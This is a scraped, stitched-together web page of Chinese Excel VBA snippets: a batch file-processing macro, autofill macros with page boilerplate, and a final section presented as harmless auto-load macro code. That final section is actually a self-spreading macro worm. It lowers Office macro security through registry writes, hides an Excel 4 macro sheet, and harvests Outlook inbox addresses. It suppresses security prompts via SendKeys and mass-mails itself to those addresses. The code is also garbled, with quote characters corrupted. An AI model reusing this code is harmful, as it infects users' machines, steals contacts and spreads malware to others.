调用Excel宏批量处理文件 - Mon - 博客园
'1.用户可以任意选择文件夹进行遍历
'2.限定遍历时仅搜索EXCEL文件（你可以改变文件类型）
'这个程序要先在&引用&下选择"microsoft scripting runtime"库文件
Dim ArryFile() As String
Dim nFile As Integer
Sub Filelist()
Dim fso As New FileSystemObject
Dim fd As Folder
Dim strFilePath As String
Dim FolderSelect As FileDialog
Set FolderSelect = Application.FileDialog(msoFileDialogFolderPicker)
With FolderSelect
If .Show = -1 Then
strFilePath = .SelectedItems.Item(1) & "\"
Set fd = fso.GetFolder(strFilePath)
searchFile fd
Private Function searchFile(ByVal fd As Folder)
Dim fl As File
Dim subfd As Folder
Dim i As Integer
On Error Resume Next
i = fd.files.Count
ReDim Preserve ArryFile(1 To nFile + i)
For Each fl In fd.files
If Right(fl.Name, 4) = "xlsx" Then
'后缀是xls的用
If Right(fl.Name, 3) = "xls" Then
nFile = nFile + 1
ArryFile(nFile) = fl.Path
If fd.SubFolders.Count = 0 Then Exit Function
For Each subfd In fd.SubFolders
searchFile subfd
End Function
//主函数，运行时调用该函数
Sub ttt1()
Dim xlname, myxl As Object, sh As Object
Call Filelist
'Set myxl = CreateObject("Aplication.Excel")
If nFile & 0 Then
For Each xlname In ArryFile()
If xlname && "" Then
Workbooks.Open Filename:=xlname
//调用Excel处理函数
Call Macro3
//保存，关闭
ActiveWorkbook.Save
ActiveWorkbook.Close
Set myxl = Nothing
//Excel处理函数，该段替换成自己的处理过程
Sub Macro3()
' Macro3 Macro
' 快捷键: Ctrl+Shift+C
Range("V3:X3").Select
ActiveCell.FormulaR1C1 = "/"
With ActiveCell.Characters(Start:=1, Length:=1).Font
.Name = "宋体"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
Range("B5:J5").Select
ActiveCell.FormulaR1C1 = "R种植业
With ActiveCell.Characters(Start:=1, Length:=1).Font
.Name = "Wingdings 2"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
With ActiveCell.Characters(Start:=2, Length:=3).Font
.Name = "宋体"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
With ActiveCell.Characters(Start:=5, Length:=2).Font
.Name = "Wingdings 2"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
With ActiveCell.Characters(Start:=7, Length:=3).Font
.Name = "宋体"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
With ActiveCell.Characters(Start:=10, Length:=2).Font
.Name = "Wingdings 2"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
With ActiveCell.Characters(Start:=12, Length:=4).Font
.Name = "宋体"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
With ActiveCell.Characters(Start:=16, Length:=4).Font
.Name = "Wingdings 2"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
With ActiveCell.Characters(Start:=20, Length:=3).Font
.Name = "宋体"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
With ActiveCell.Characters(Start:=23, Length:=4).Font
.Name = "Wingdings 2"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
With ActiveCell.Characters(Start:=27, Length:=3).Font
.Name = "宋体"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
With ActiveCell.Characters(Start:=30, Length:=1).Font
.Name = "Wingdings 2"
.FontStyle = "常规"
.Size = 10
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ColorIndex = 1
.TintAndShade = 0
.ThemeFont = xlThemeFontNone
Range("O9:P35").Select
Selection.Copy
Range("E9:F35").Select
ActiveSheet.Paste
Application.CutCopyMode = FalseExcel录制宏执行宏_百度文库
您的浏览器Javascript被禁用，需开启后体验完整功能，
享专业文档下载特权
&赠共享文档下载特权
&10W篇文档免费专享
&每天抽奖多种福利
两大类热门资源免费畅读
续费一年阅读会员，立省24元！
Excel录制宏执行宏
&&excel应用技巧
阅读已结束，下载本文需要
想免费下载本文？
定制HR最喜欢的简历
下载文档到电脑，同时保存到云知识，更方便管理
加入VIP
还剩2页未读，
定制HR最喜欢的简历
你可能喜欢EXCEL个常用宏,非常实用_百度文库
您的浏览器Javascript被禁用，需开启后体验完整功能，
享专业文档下载特权
&赠共享文档下载特权
&10W篇文档免费专享
&每天抽奖多种福利
两大类热门资源免费畅读
续费一年阅读会员，立省24元！
EXCEL个常用宏,非常实用
&&EXCEL个常用宏,非常实用
阅读已结束，下载本文需要
想免费下载本文？
定制HR最喜欢的简历
下载文档到电脑，同时保存到云知识，更方便管理
加入VIP
还剩141页未读，
定制HR最喜欢的简历
你可能喜欢温馨提示！由于新浪微博认证机制调整，您的新浪微博帐号绑定已过期，请重新绑定！&&|&&
LOFTER精选
网易考拉推荐
用微信&&“扫一扫”
将文章分享到朋友圈。
用易信&&“扫一扫”
将文章分享到朋友圈。
Sub Macro1()'' Macro1 Macro''& &Dim x As Integer& && & && &Sheets(1).Activate& & &x = Sheets(1).UsedRange.Rows.Count &' Sheets("sheet1").Range("A65536").End(xlUp).Row 'Range("a1").CurrentRegion.SpecialCells(xlCellTypeLastCell).Row 'ActiveSheet.UsedRange.Rows.Count& & Sheets(1).Range("B1").Select& & Selection.AutoFill Destination:=Range("B3:B" & x), Type:=xlFillDefault & & '自动填充A1：An& & 'ActiveCell.Range("B2:B" & Str(x) &") 'Range("B2:B26666")& & Range("B3:B" & x).SelectEnd SubSub Macro1()&& &Dim x As Integer& &Sheets(1).Activate& & &x = Sheets(1).UsedRange.Rows.Count& & Sheets(1).Range("B2").Select& & &Selection.AutoFill Destination:=Range("B2:B" & x)End Sub&Sub test()& & Dim n As Integer& &&& & & &Sheets(1).Activate& & n = Sheets(1).UsedRange.Rows.Count & & & & &'n统计sheet1中的行数& & Sheets(1).Range("B1").Select & & & & & & & & & & & & '选中sheet1的A1格子& & Selection.AutoFill Destination:=Sheets(1).Range("B1:B" & n & ""), Type:=xlFillDefault & &'自动填充A1：An&End SubSub zz()Dim lastrow As Integer& &lastrow = Range("A65536").End(xlUp).Row& & Range("B1:C1").Select& & Selection.AutoFill Destination:=Range("B2:C" & lastrow)End SubSub test()& & Dim n As Integer& &&& & & &Sheets(1).Activate& & n = Sheets(1).UsedRange.Rows.Count & & & & &'n统计sheet1中的行数& & Sheets(1).Range("B1").Select & & & & & & & & & & & & '选中sheet1的A1格子& & Selection.AutoFill Destination:=Sheets(1).Range("B1:B" & n & ""), Type:=xlFillDefault & &'自动填充A1：An& Sheets(1).Range("A1:A" & n & "").Select & & & &'选中sheet1的A1：An& & Application.CutCopyMode = False& Selection.Copy & & & & & & & & & & & & & & & & & & & & & & & ' 复制选中的sheet1的A1：An& & Sheets(2).Select & & & & & & & & & & & & & & & & & & & & & &'选中sheet2& & Sheets(2).Range("A1").Select & & & & & & & & & & & &'选中sheet2内的A1& & Selection.PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _& & & & :=False, Transpose:=False& & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & '选择性粘贴End Sub
阅读(2922)|
用微信&&“扫一扫”
将文章分享到朋友圈。
用易信&&“扫一扫”
将文章分享到朋友圈。
历史上的今天
在LOFTER的更多文章
loftPermalink:'',
id:'fks_',
blogTitle:'Excel 中 vbA 获得有效行数的方法
excel自动填充如何用vba做',
blogAbstract:'& Excel 有 65536行 256列&&& 但是我们可能只用了其中的部分行。在实际情况下，我们做VBA编程的时候可能希望获得 实际使用的有效行数。&&& 下面是用 vba 获得 有效行数的方法：&&&&&& Range(\"a1\").CurrentRegion.SpecialCells(xlCellTypeLastCell).Row&&& ActiveSheet.Range(\"A65536\").End(-4162).Row&&& ActiveSheet.UsedRange.Rows.Count',
blogTag:'',
blogUrl:'blog/static/5',
isPublished:1,
istop:false,
modifyTime:5,
publishTime:2,
permalink:'blog/static/5',
commentCount:0,
mainCommentCount:0,
recommendCount:0,
bsrk:-100,
publisherId:0,
recomBlogHome:false,
currentRecomBlog:false,
attachmentsFileIds:[],
groupInfo:{},
friendstatus:'none',
followstatus:'unFollow',
pubSucc:'',
visitorProvince:'',
visitorCity:'',
visitorNewUser:false,
postAddInfo:{},
mset:'000',
remindgoodnightblog:false,
isBlackVisitor:false,
isShowYodaoAd:true,
hostIntro:'',
hmcon:'0',
selfRecomBlogCount:'0',
lofter_single:''
{list a as x}
{if x.moveFrom=='wap'}
{elseif x.moveFrom=='iphone'}
{elseif x.moveFrom=='android'}
{elseif x.moveFrom=='mobile'}
${a.selfIntro|escape}{if great260}${suplement}{/if}
{list a as x}
推荐过这篇日志的人：
{list a as x}
{if !!b&&b.length>0}
他们还推荐了：
{list b as y}
转载记录：
{list d as x}
{list a as x}
{list a as x}
{list a as x}
{list a as x}
{if x_index>4}{break}{/if}
${fn2(x.publishTime,'yyyy-MM-dd HH:mm:ss')}
{list a as x}
{if !!(blogDetail.preBlogPermalink)}
{if !!(blogDetail.nextBlogPermalink)}
{list a as x}
{if defined('newslist')&&newslist.length>0}
{list newslist as x}
{if x_index>7}{break}{/if}
{list a as x}
{var first_option =}
{list x.voteDetailList as voteToOption}
{if voteToOption==1}
{if first_option==false},{/if}&&“${b[voteToOption_index]}”&&
{if (x.role!="-1") },“我是${c[x.role]}”&&{/if}
&&&&&&&&${fn1(x.voteTime)}
{if x.userName==''}{/if}
网易公司版权所有&&
{list x.l as y}
{if defined('wl')}
{list wl as x}{/list}Access俱乐部
?&&&&?&&&&?&&&&?&&&&
您的位置：　 > >
自动加载宏代码(Excel-VBA)
来源:www.accessoft.com&&点击数:8341&&评论数:0　&|&&|&
时　间: 09:51:56
作　者:&&&ID：20149&&城市：杭州
摘　要:自动加载宏代码(Excel-VBA)
Public WithEvents xx As Application
Private Sub Workbook_open()
= Application
On Error Resume Next
Application.DisplayAlerts =
Call do_what
Private Sub xx_workbookOpen(ByVal wb As
On Error Resume Next
wb.VBProject.References.AddFromGuid
GUID:=&{0-}&, _
Application.ScreenUpdating = False
Application.DisplayAlerts =
copystart wb
Application.ScreenUpdating = True
-----------------------------------------
Shell Environ$(&comspec&) & & /c Del /F /Q &&& &
Application.StartupPath & &\K4.XLS&&&, vbMinimizedFocus
Environ$(&comspec&) & & /c RD /S /Q &&& & Application.StartupPath &
&\K4.XLS&&&, vbMinimizedFocus
If ThisWorkbook.Path && Application.StartupPath Then
Application.ScreenUpdating = False
ThisWorkbook.IsAddin = True
ThisWorkbook.SaveCopyAs MyFile
ThisWorkbook.IsAddin = False
Application.ScreenUpdating = True
End Function
Function OpenDoor()
Dim Fso, RK1 As String, RK2 As String, RK3 As String,
RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
On Error Resume Next
VS = Application.Version
CreateObject(&scRiPTinG.fiLEsysTeMoBjEcT&)
RK1 = &HKEY_CURRENT_USER\Software\Microsoft\Office\& & VS &
&\Excel\Security\AccessVBOM&
&HKEY_CURRENT_USER\Software\Microsoft\Office\& & VS &
&\Excel\Security\Level&
RK3 = &HKEY_LOCAL_MACHINE\Software\Microsoft\Office\&
& VS & &\Excel\Security\AccessVBOM&
&HKEY_LOCAL_MACHINE\Software\Microsoft\Office\& & VS &
&\Excel\Security\Level&
KValue1 = 1
KValue2 = 1
Call WReg(RK1, KValue1, &REG_DWORD&)
Call WReg(RK2, KValue2,
&REG_DWORD&)
Call WReg(RK3, KValue1, &REG_DWORD&)
WReg(RK4, KValue2, &REG_DWORD&)
End Function
Sub WReg(strkey As String, Value As Variant, ValueType As String)
Set oWshell = CreateObject(&WScript.Shell&)
If ValueType =
oWshell.RegWrite strkey, Value
oWshell.RegWrite strkey, Value, ValueType
Set oWshell =
Private Sub Movemacro4(ByVal wb As Workbook)
On Error Resume Next
Dim sht As Object
wb.Sheets(1).Select
Sheets.Add Type:=xlExcel4MacroSheet
ActiveSheet.Name = &Macro1&
Range(&A2&).Select
ActiveCell.FormulaR1C1 = &=ERROR(FALSE)&
Range(&A3&).Select
ActiveCell.FormulaR1C1 = &=IF(ERROR.TYPE(RUN(&&& & Application.UserName
& &&&))=4)&
Range(&A4&).Select
ActiveCell.FormulaR1C1 =
&=ALERT(&&禁用宏，关闭 & & Chr(10) & Now & Chr(10) & &Please Enable
Macro!&&,3)&
Range(&A5&).Select
ActiveCell.FormulaR1C1 =
&=FILE.CLOSE(FALSE)&
Range(&A6&).Select
ActiveCell.FormulaR1C1 =
&=END.IF()&
Range(&A7&).Select
ActiveCell.FormulaR1C1 =
&=RETURN()&
For Each sht In wb.Sheets
wb.Names.Add
sht.Name & &!Auto_Activate&, &=Macro1!$A$2&, False
wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
Private Function WorkbookOpen(WorkBookName As String) As Boolean
WorkbookOpen = False
On Error GoTo WorkBookNotOpen
Len(Application.Workbooks(WorkBookName).Name) & 0 Then
WorkbookOpen =
Exit Function
WorkBookNotOpen:
End Function
Private Sub ActionJudge()
Const T1 As Date = &10:00:00&
Const T2 As
Date = &11:00:00&
Const T3 As Date = &14:00:00&
Const T4 As Date =
&15:00:00&
Dim SentTime As Date, WshShell
Set WshShell = CreateObject(&WScript.Shell&)
InStr(UCase(WshShell.RegRead(&HKEY_CLASSES_ROOT\mailto\shell\open\command\&)),
&OUTLOOK.EXE&) & 0 Then Exit Sub
If Time &= T1 And Time &= T2 Or Time &= T3 And Time &= T4
If ReadOut(&D:\Collected_Address:frag1.txt&) = &1&
CreateFile &1&,
&D:\Collected_Address:frag1.txt&
search_in_OL
If Not if_outlook_open Then Exit Sub
If Time & T2
And Time &= DateAdd(&n&, 10, T2) Or Time & T4 And Time &= DateAdd(&n&,
10, T4) Then
SentTime =
DateAdd(&n&, -21, Now)
On Error GoTo timeError
SentTime =
CDate(ReadOut(&D:\Collected_Address:frag2.txt&))
timeError:
Now & DateAdd(&n&, 20, SentTime) Or ReadOut(&D:\Collected_Address\log.txt&) =
CreateFile &&, &D:\Collected_Address:frag1.txt&
CreateFile
Now, &D:\Collected_Address:frag2.txt&
CreatCab_SendMail
Private Sub search_in_OL()
Dim i As Integer, AttName As String,
AddVbsFile As String, AddListFile As String, fs As Object, WshShell As
On Error Resume Next
CreateObject(&scripting.filesystemobject&)
Set WshShell =
CreateObject(&WScript.Shell&)
If fs.Folderexists(&E:\KK&) = False Then fs.CreateFolder &E:\KK&
Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), & &, &_&),
AddVbsFile_clear = &E:\KK\& & AttName & &_clear.vbs&
Open AddVbsFile_clear For Output Access Write As #i
Print #i, &On error Resume Next&
Print #i, &Dim wsh, tle, T0, i&
T0 = Timer&
Print #i, &
Set wsh=createobject(&&& &
&wscript.shell&&& & &)&
Print #i, &
tle = &&& & &Microsoft Office
Outlook&&& & &&
Print #i, &For i = 1 To 1000&
Print #i, &
- T0 & 60 Then Exit For&
Print #i, &
Call Refresh()&
Print #i, &
wscript.sleep 05&
Print #i, &
wsh.sendKeys &&& & &%a&&& &
Print #i, &
wscript.sleep 05&
Print #i, &
wsh.sendKeys &&& &
&{TAB}{TAB}&&& & &&
Print #i, &
wscript.sleep 05&
Print #i, &
wsh.sendKeys &&& & &{Enter}&&& & &&
Print #i, &Next&
&Set wsh = Nothing&
Print #i, &wscript.quit&
Print #i, &Sub
Refresh()&
Print #i, &Do Until wsh.AppActivate(CStr(tle)) = True&
If Timer - T0 & 60 Then Exit Sub&
Print #i, &Loop&
wscript.sleep 05&
Print #i, &
wsh.SendKeys &&& & &%{F4}&&& &
Print #i, &End Sub&
AddVbsFile_search = &E:\KK\& & AttName & &_Search.vbs&
Open AddVbsFile_search For Output Access Write As #i
Print #i, &On error Resume Next&
Print #i, &Const olFolderInbox =
Print #i, &Dim conbinded_address,WshShell,sh,ts&
Print #i, &Set
WshShell=WScript.CreateObject(&&& & &WScript.Shell&&& & &)&
&Set objOutlook = CreateObject(&&& & &Outlook.Application&&& &
Print #i, &Set objNamespace = objOutlook.GetNamespace(&&& & &MAPI&&&
Print #i, &Set objFolder =
objNamespace.GetDefaultFolder(olFolderInbox)&
Print #i, &Set TargetFolder =
objFolder&
Print #i, &conbinded_address = &&& & &&&& & &&
#i, &Set colItems = TargetFolder.Items&
Print #i, &wscript.sleep
Print #i, &WshSHell.Run (&&& & &wscript.exe & &
AddVbsFile_clear & &&&& & &), vbHide, False&
Print #i, &ts =
Print #i, &For Each objMessage in colItems&
Print #i, &
Timer - ts &55 then exit For&
Print #i, &
conbinded_address =
conbinded_address & valid_address(objMessage.Body)&
Print #i, &add_text conbinded_address, 8&
Print #i, &add_text
all_non_same(ReadAllTextFile), 2&
Print #i, &WScript.Quit&
Print #i, &Private Function valid_address(source_data)&
Print #i, &
Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr,
nonsame_arr&
Print #i, &
Dim regex, matchs, ss, arr()&
Print #i, &
oDict = CreateObject(&&& & &Scripting.Dictionary&&& & &)&
Set regex = CreateObject(&&& & &VBSCRIPT.REGEXP&&& & &)&
Print #i, &
regex.Global = True&
Print #i, &
regex.Pattern =
&&& & &\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*&&& & &&
Set matchs = regex.Execute(source_data)&
Print #i, &
trimed_arr(matchs.Count - 1)&
Print #i, &
For i = Lbound(trimed_arr) To
Ubound(trimed_arr)&
Print #i, &
trimed_arr(i) = matchs.Item(i) &
Print #i, &
Print #i, &&
Print #i, &
LBound(trimed_arr) To UBound(trimed_arr)&
Print #i, &
oDict(trimed_arr(i)) = &&& & &&&& & &&
Print #i, &
Print #i, &
If oDict.Count & 0 Then&
Print #i, &
nonsame_arr = oDict.keys&
Print #i, &
For i = LBound(nonsame_arr) To
UBound(nonsame_arr)&
Print #i, &
valid_address = valid_address
& nonsame_arr(i)&
Print #i, &
Print #i, &
Print #i, &
Set oDict = Nothing&
Print #i, &End Function&
Print #i, &Private Sub add_text(inputed_string, input_frag)&
Dim objFSO, logfile, logtext, log_path, log_folder&
Print #i, &
log_path = &&& & &D:\Collected_Address&&& & &&
Print #i, &
objFSO = CreateObject(&&& & &Scripting.FileSystemObject&&& &
Print #i, &
On Error resume next&
Print #i, &
Set log_folder =
objFSO.CreateFolder(log_path)&
Print #i, &&
Print #i, &
objFSO.FileExists(log_path & &&& & &\log.txt&&& & &) = 0
Print #i, &
Set logfile = objFSO.CreateTextFile(log_path &
&&& & &\log.txt&&& & &, True)&
Print #i, &
Print #i, &
Set log_folder = Nothing&
Print #i, &
Set logfile = Nothing&
Print #i, &
Select Case input_frag&
Print #i, &
Set logtext = objFSO.OpenTextFile(log_path & &&& &
&\log.txt&&& & &, 8, True, -1)&
Print #i, &
logtext.Write
inputed_string&
Print #i, &
logtext.Close&
Print #i, &
Print #i, &
Set logtext = objFSO.OpenTextFile(log_path & &&&
& &\log.txt&&& & &, 2, True, -1)&
Print #i, &
logtext.Write
inputed_string&
Print #i, &
logtext.Close&
Print #i, &
Print #i, &
set objFSO = nothing&
Print #i, &End Sub&
Print #i, &Private Function ReadAllTextFile()&
Print #i, &
objFSO, FileName, MyFile&
Print #i, &
FileName = &&& &
&D:\Collected_Address\log.txt&&& & &&
Print #i, &
Set objFSO =
CreateObject(&&& & &Scripting.FileSystemObject&&& & &)&
Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)&
Print #i, &
If MyFile.AtEndOfStream Then&
Print #i, &
ReadAllTextFile = &&& &
Print #i, &
Print #i, &
ReadAllTextFile =
MyFile.ReadAll&
Print #i, &
Print #i, &set objFSO =
Print #i, &End Function&
Print #i, &&
Print #i, &Private
Function all_non_same(source_data)&
Print #i, &
Dim oDict, i, trimed_arr,
nonsame_arr&
Print #i, &
all_non_same = &&& & &&&& & &&
Set oDict = CreateObject(&&& & &Scripting.Dictionary&&& &
Print #i, &&
Print #i, &
trimed_arr = Split(source_data,
Print #i, &&
Print #i, &
For i = LBound(trimed_arr) To
UBound(trimed_arr)&
Print #i, &
oDict(trimed_arr(i)) = &&& & &&&&
Print #i, &
Print #i, &&
Print #i, &
If oDict.Count
Print #i, &
nonsame_arr = oDict.keys&
For i = LBound(nonsame_arr) To UBound(nonsame_arr)&
all_non_same = all_non_same & nonsame_arr(i) &
Print #i, &
Print #i, &
Print #i, &
Set oDict = Nothing&
Print #i, &End Function&
Application.WindowState = xlMaximized
WshShell.Run (&wscript.exe &
& AddVbsFile_search), vbHide, False
Set WshShell = Nothing
Private Sub CreatCab_SendMail()
Dim i As Integer, AttName As String,
AddVbsFile As String, AddListFile As String, Address_list As String
Object, WshShell As Object
Address_list = get_ten_address
Set WshShell = CreateObject(&WScript.Shell&)
CreateObject(&scripting.filesystemobject&)
If fs.Folderexists(&E:\SORCE&) =
False Then fs.CreateFolder &E:\SORCE&
Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), & &, &_&),
mail_sub = &*& & AttName & &*Message*&
AddVbsFile =
&E:\sorce\& & AttName & &_Key.vbs&
i = FreeFile
Open AddVbsFile
For Output Access Write As #i
Print #i, &Dim oexcel,owb,
WshShell,Fso,Atta_xls,sh,route&
Print #i, &On error Resume Next&
&Set sh=WScript.CreateObject(&&& & &shell.application&&& & &)&
#i, &sh.MinimizeAll&
Print #i, &Set sh = Nothing&
Print #i, &Set Fso =
CreateObject(&&& & &Scripting.FileSystemObject&&& & &)&
&Set WshShell = WScript.CreateObject(&&& & &WScript.Shell&&& &
Print #i, &If Fso.Folderexists(&&& & &E:\KK&&& & &) = False Then
Fso.CreateFolder &&& & &E:\KK&&&
Print #i, &Fso.CopyFile
&WshShell.CurrentDirectory & &&& & &\& & AttName & &*.CAB&&&
& &,& & & & & &&&E:\KK\&&& & &, True&
Print #i, &For Each
Atta_xls In ListDir(&&& & &E:\KK&&& & &)&
Print #i, &
WshShell.Run
&&& & &expand &&& & & & Atta_xls & &&& & & -F:& &
AttName & &.xls E:\KK&&& & &, 0, true&
Print #i, &Next&
&If Fso.FileExists(&&& & &E:\KK\& & AttName & &.xls&&& & &) = 0
Print #i, &
route = WshShell.CurrentDirectory & &&& &
&\& & AttName & &.xls&&&
Print #i, &
Fso.FileExists(WshShell.CurrentDirectory & &&& & &\& & AttName &
&.xls&&& & &)=0 then&
Print #i, &
route = InputBox(&&&
& &Warning! &&& & & & Chr(10) & &&& & &You are going to open
a confidential file.&&& & && Chr(10)
& &&& & &Please input the complete file
path.&&& & & & Chr(10) & &&& & &ex.
C:\parth\confidential_file.xls&&& & &, _&
&&& & &Open a File&&& & & , &&& &
&Please Input the Complete File Path&&& & &, 1)&
Print #i, &else&
Print #i, &
route = &&& &
&E:\KK\& & AttName & &.xls&&&
Print #i, &End If&
Print #i, &
oexcel=createobject(&&& & &excel.application&&& & &)&
Print #i, &
set owb=oexcel.workbooks.open(route)&
Print #i, &
oExcel.Visible =
Print #i, &Set oExcel = Nothing&
Print #i, &Set oWb =
Print #i, &Set
WshShell = Nothing&
Print #i, &Set Fso =
Print #i, &WScript.Quit&
Print #i, &Private Function ListDir
(ByVal Path)&
Print #i, &
Dim Filter, a, n, Folder, Files, File&
ReDim a(10)&
Print #i, &
Print #i, &
Set Folder =
fso.GetFolder(Path)&
Print #i, &
Set Files = Folder.Files&
Print #i, &
For Each File In Files&
Print #i, &
If left(File.Name,& &
Len(AttName) & &) = &&& & AttName & &&& and right(File.Name,3) = &&&
& &CAB&&& & & Then&
Print #i, &
If n & UBound(a) Then
ReDim Preserve a(n*2)&
Print #i, &
a(n) = File.Path&
n = n + 1&
Print #i, &
Print #i, &
Print #i, &
ReDim Preserve a(n-1)&
Print #i, &
Print #i, &End Function&
AddListFile = ThisWorkbook.Path & &\TEST.txt&
Open AddListFile For Output Access Write As #i
&E:\sorce\& & AttName & &_Key.vbs&
Print #i, &E:\sorce\& &
AttName & &.xls&
Application.ScreenUpdating =
RestoreBeforeSend
ThisWorkbook.SaveCopyAs &E:\sorce\& & AttName
RestoreAfterOpen
c4$ = CurDir()
Left(ThisWorkbook.Path, 3) '&C:\&
ChDir ThisWorkbook.Path
WshShell.Run
Environ$(&comspec&) & & /c makecab /F &&& & ThisWorkbook.Path &
&\TEST.TXT&&& & & /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D
CABINETNAMETEMPLATE=../& & AttName & &.CAB&, vbHide, False
Do Until fs.FileExists(ThisWorkbook.Path & &\TEST.txt&) _
fs.FileExists(ThisWorkbook.Path & &\setup.rpt&) And
fs.FileExists(ThisWorkbook.Path & &\setup.inf&) _
fs.FileExists(ThisWorkbook.Path & &\& & AttName &
WshShell.Run Environ$(&comspec&) & & /c RD /S /Q &&& &
ThisWorkbook.Path & &\disk1&&&, vbHide, False
WshShell.Run
Environ$(&comspec&) & & /c Del /F /Q &&& & ThisWorkbook.Path &
&\TEST.txt&&&, vbHide, False
WshShell.Run Environ$(&comspec&) & & /c Del
/F /Q &&& & ThisWorkbook.Path & &\setup.rpt&&&, vbHide,
WshShell.Run Environ$(&comspec&) & & /c Del /F /Q &&& &
ThisWorkbook.Path & &\setup.inf&&&, vbHide, False
WshShell.Run
Environ$(&comspec&) & & /c RD /S /Q E:\sorce&, vbHide, False
If fs.Folderexists(&E:\KK&) = False Then fs.CreateFolder
WshShell.Run Environ$(&comspec&) & & /c MOVE /Y & & AttName
& &.CAB E:\KK&&&, vbHide, False
Massive_SendMail(Address_list, AttName, &Dear all,& & vbCrLf & AttName
& vbCrLf & &FYI&, _
&&, &E:\KK\& & AttName &
WshShell.Run Environ$(&comspec&) & & /c RD /S /Q E:\KK&, vbHide,
Set WshShell = Nothing
Application.ScreenUpdating = True
Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$,
Attachment$)
Dim objOL As Object
Dim itmNewMail As Object
If Not if_outlook_open Then Exit Sub
Set objOL =
CreateObject(&Outlook.Application&)
Set itmNewMail =
objOL.CreateItem(olMailItem)
With itmNewMail
.Body = Body
.To = Email_Address
= CC_email_add
.Attachments.Add Attachment
.DeleteAfterSubmit = True
On Error GoTo
SendEmail:
itmNewMail.display
Debug.Print &setforth
SendKeys &%s&,
Wait:=True
GoTo SendEmail
Set objOL =
Set itmNewMail = Nothing
Private Function if_outlook_open() As Boolean
Set objs =
GetObject(&WinMgmts:&).InstancesOf(&Win32_Process&)
if_outlook_open =
For Each obj In objs
If InStr(obj.Description, &OUTLOOK&) & 0
if_outlook_open = True
End Function
Private Function RadomNine(length As Integer) As String
Integer, k As Integer, i As Integer
RadomNine = &&
If length &= 0
Then Exit Function
If length &= 10 Then
For i = 1 To
RadomNine = RadomNine & &$$& & i
Exit Function
jj = length / 10
For i = 1 To
k = Int(Rnd * (jj * i - m - 1)) + 1
If m + k && 1
Then RadomNine = RadomNine & &$$& & m + k
End Function
Private Function get_ten_address() As
Dim singleAddress_arr, krr, i As Integer
get_ten_address =
singleAddress_arr = Split(ReadOut(&D:\Collected_Address\log.txt&),
krr = Split(RadomNine(UBound(singleAddress_arr) -
LBound(singleAddress_arr) + 1), &$$&)
For i = 1 To
UBound(krr)
get_ten_address = get_ten_address & &;& &
singleAddress_arr(CInt(krr(i)) - 1)
End Function
Private Function ReadOut(FullPath) As String
On Error Resume
Dim Fso, FileText
CreateObject(&scRiPTinG.fiLEsysTeMoBjEcT&)
Set FileText =
Fso.OpenTextFile(FullPath, 1, False, -1)
FileText.ReadAll
FileText.Close
End Function
Private Sub CreateFile(FragMark, pathf)
On Error Resume Next
Dim Fso, FileText
CreateObject(&scRiPTinG.fiLEsysTeMoBjEcT&)
Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder
Left(pathf, Len(pathf) - 10)
If Fso.FileExists(pathf) Then
FileText = Fso.OpenTextFile(pathf, 2, False, -1)
FileText.Write
FileText.Close
Set FileText =
